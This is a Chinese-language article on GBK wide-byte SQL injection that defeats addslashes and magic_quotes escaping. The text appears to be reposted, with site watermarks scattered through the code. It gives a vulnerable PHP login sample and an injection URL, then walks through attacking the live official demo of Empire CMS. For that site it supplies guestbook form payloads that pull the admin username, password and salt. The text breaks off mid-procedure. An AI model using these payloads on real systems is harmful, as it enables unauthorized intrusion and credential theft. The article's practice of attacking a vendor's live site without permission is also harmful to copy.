还有: 大家都知道PHP在开启magic_quotes_gpc或者使用addslashes、iconv等函数的时候,单引号(')会被转义成\'。比如字符%bf在满足上述条件的情况下会变成%bf\'。其中反斜杠(\)的十六进制编码是%5C,单引号(')的十六进制编码是%27,那么就可以得出%bf \'=%bf%5c%27。如果程序的默认字符集是GBK等宽字节字符集,则MySQL会认为%bf%5c是一个宽字符,也就是“縗”。也就是说%bf \'=%bf%5c%27=縗'。%bf并不是唯一的一个字符,应该是%81-%FE之间的任意一个都可以。不太好理解,我们用小葵写的一个字符转换的小工具来转换一下。 说到这里好像还没有看出来到底有什么用。了解PHP+MySQL注入的朋友应该都明白,单引号在注入里绝对是个好东西。尤其是,很多程序员都过分依赖于magic_quotes_gpc或者addslashes、 iconv等函数的转义。理论上说,只要数据库连接代码设置了GBK编码,或者是默认编码就是GBK,那现在的程序里到处都是注入漏洞。事实上,这种变换在 XSS等领域也发挥了巨大的作用,在PHP+Linux后台程序结合的时候,还可能造成命令注入,也就是说能可以在注入点直接执行Linux系统命令。比如登录文件login.php的代码如下: $conn=mysql_connect("localhost","root","hackest");
mysql_query("SET NAMES 'GBK'");
mysql_select_db("test",$conn);
$user=mysql_escape_string($_GET['user']);
$pass=mysql_escape_string($_GET['pass']);
$sql="select * from cms_user where username='$user' and password='$pass'";
$result=mysql_query($sql,$conn);
while ($row=mysql_fetch_array($result, MYSQL_ASSOC)) { cneduit.com
$rows[]=$row;
}
?>
则可以通过构造以下语句进行注入:
http://www.hackest.cn/login.php?user=%df'%20or%201=1%20limit%201,1%23&pass=
%20 是空格的URL编码,%23是#的URL编码,Mysql注释符之一。对应的SQL语句是:
select * from cms_user where username='运'or 1=1 limit 1,1#' and password="
---------------------------------------------------------------------------------------
二、实践 内容
/*理论准备得差不多了,该来点实际的了,这次就拿帝国CMS做例子吧。帝国CMS是号称最安全、最稳定的开源 CMS(内容管理系统)。帝国CMS的留言本文件部分代码如下:
//权限
if($gbr['groupid'])
{
include("../../class/user.php");
$user=islogin();
include("../../class/MemberLevel.php");
if($level_r[$gbr[groupid]][level]>$level_r[$user[groupid]][level])
{
echo" ";
exit();
} cop
}
esetcookie("gbookbid",$bid,0);
$bname=$gbr['bname'];
$search="&bid=$bid";
$page=(int)$_GET['page'];
$start=(int)$_GET['start'];
$line=12; //每页显示条数
cneduit.com
$page_line=12;//每页显示链接数
$offset=$start+$page*$line;//总偏移量
$totalnum=(int)$_GET['totalnum'];
if($totalnum)
{ cneduit.com
$num=$totalnum;
}
{
$totalquery="select count(*) as total from {$dbtbpre}enewsgbook where bid='$bid' and checked=0";
copyright cneduit
$num=$empire->gettotal($totalquery);//取得总条数
}
$search.="&totalnum=$num";
$query="select lyid,name,email,`call`,lytime,lytext,retext from {$dbtbpre}enewsgbook where bid='$bid' and checked=0";//hackest注解:关键是这一句,与上面举例的何其相似啊!
$query=$query." order by lyid desc limit $offset,$line";
cneduit.com
$sql=$empire->query($query);
$listpage=page1($num,$line,$page_line,$start,$page,$search);
$url="".$fun_r['index']." > ".$fun_r['saygbook'];
?>*/
注意注释部分!就直接拿官方测试吧,我就不本机折腾了。官方演示站点:http://demo.phome.net/,还别说,界面倒是蛮清爽的,难怪这么多站长用咯。直奔留言本页面:http://demo.phome.net/e/tool/gbook/?bid=1,注意要带上bid=1(我下载了套最新版的帝国CMS,e/tool/gbook目录下就一个index.php文件,直接访问它会有错误提示,并跳转至前一个页面)。然后下拉至“请您留言:”处,按如下要求填写相关信息:
姓名:123縗\
联系邮箱:,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*
联系电话:随便写
留言内容:随便写
|